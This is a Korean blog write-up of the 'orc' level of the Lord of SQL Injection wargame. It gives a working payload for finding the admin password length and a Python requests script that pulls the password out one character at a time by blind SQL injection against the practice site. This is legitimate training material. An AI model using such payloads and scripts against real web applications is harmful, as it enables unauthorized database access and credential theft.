일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
- 정보보호
- Weak Session IDs
- DreamHack
- Cross Site Scripting
- DVWA
- Dremhack
- 해커팩토리
- 드림핵
- sql injection
- H4CKINGGAME
- 정보보안
- Hackerfactory
- Lord of SQL Injection
- SuNiNaTas
- 워게임
- DOM-Based XSS
- Web Hacking
- wargame
- XSS
- Remote File Inclusion
- File Upload Vulnerability
- 빡공팟 6기
- Los
- bypass CAPTCHA
- TeamH4C
- 빡공팟 4기
- 웹 해킹
- 써니나타스
- webhacking.kr
- Insecure CAPTCHA
- Today
- Total
도카이트
[Wargame] Lord of SQL Injection - orc 본문
문제 화면
- pw 값에 admin의 pw 값과 일치하는 pw 값을 입력하면 문제가 해결되는듯 하다.
- 하단의 $result 선언 행 아래의 if 문으로 인해, admin의 pw 값을 직접 알아내야한다.
- 따라서, admin의 result 값을 출력하는 것이 전부가 아닌, admin의 pw 값을 알아내야한다.
- Blind SQL Injection을 통해 admin의 pw 값을 획득해보자 !
length(pw)를 이용한 admin의 pw 길이 확인
- admin의 pw 값을 확인하기에 앞서 먼저, pw의 길이를 먼저 알아내야 한다.
- pw 길이를 알아내기 위해 사용한 SQL Injection 구문은 다음과 같다.
- pw=’ or id=’admin’ and length(pw)=8%23
- pw 길이의 경우 길어야 20자리 이내로 끝날거 같았기에, 손수 복붙 타이핑으로 8 까지 반복했다.
- 처음에는 대입 숫자 뒤에 # 을 작성하여 주석 처리를 시도하였으나, 잘 되지 않아..
- URL 인코딩을 이용해서 %23으로 작성하였더니 성공적으로 Hello admin이 출력되었다.
- 이를 통해 admin의 pw 길이는 총 8자리 임을 확인할 수 있다 !
- pw 길이를 알아내었으니, pw의 값을 알아내보자 !!
pw 값 획득의 경우는 알파벳 대소문자부터 숫자, 특수문자까지 대입하여야 할 값들이 기하급수적으로
많아지기에, 수동적으로 직접 대입하기엔 시간적 무리가 크다. 따라서 파이썬의 requests 모듈을
이용하여 코드를 작성해 빠르게 값을 알아내보도록 하자 !
los_orc.py 작성
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
pw = ""
for i in range(1, 9):
for j in range(33, 128):
target_url = url+"?pw='or id='admin' and substr(pw,{},1)='{}'%23".format(i,chr(j))
cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
r = requests.get(url=target_url, cookies=cookies)
if "Hello admin" in r.text:
pw += chr(j)
print(str(i)+"번째 자리 패스워드 : "+chr(j))
break
print("패스워드 : "+pw)
- admin의 pw 값을 알아내기 위해 작성한 Blind SQL Injection 파이썬 코드는 다음과 같다.
- i의 range를 (1,9)로 설정함으로써, 총 8자리의 pw 값을 알아낼 수 있으며,
- j를 chr() 함수를 이용해 range(33, 128)를 대입하여, 알파벳 대소문자, 숫자, 특수문자를 pw 값과 일치하는지 대조한다.
- 값이 참이 되어, Hello admin 문자열이 화면에 출력될 경우 각 자리 값들을 더하여 최종 pw 값을 출력한다.
los_orc.py 실행 결과
- 성공적으로 admin의 pw 값을 획득할 수 있다.
- 4번째 자리 패스워드 A는 소문자 a로 작성하여 pw 값에 입력하면…
LoS_orc 클리어 !
- orc 문제를 성공적으로 Clear 할 수 있다 !!
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
[Wargame] Lord of SQL Injection - darkelf (0) | 2022.06.08 |
---|---|
[Wargame] Lord of SQL Injection - wolfman (0) | 2022.06.08 |
[Wargame] Lord of SQL Injection - goblin (0) | 2022.06.07 |
[Wargame] Lord of SQL Injection - cobolt (0) | 2022.06.07 |
[Wargame] Lord of SQL Injection - gremlin (0) | 2022.06.07 |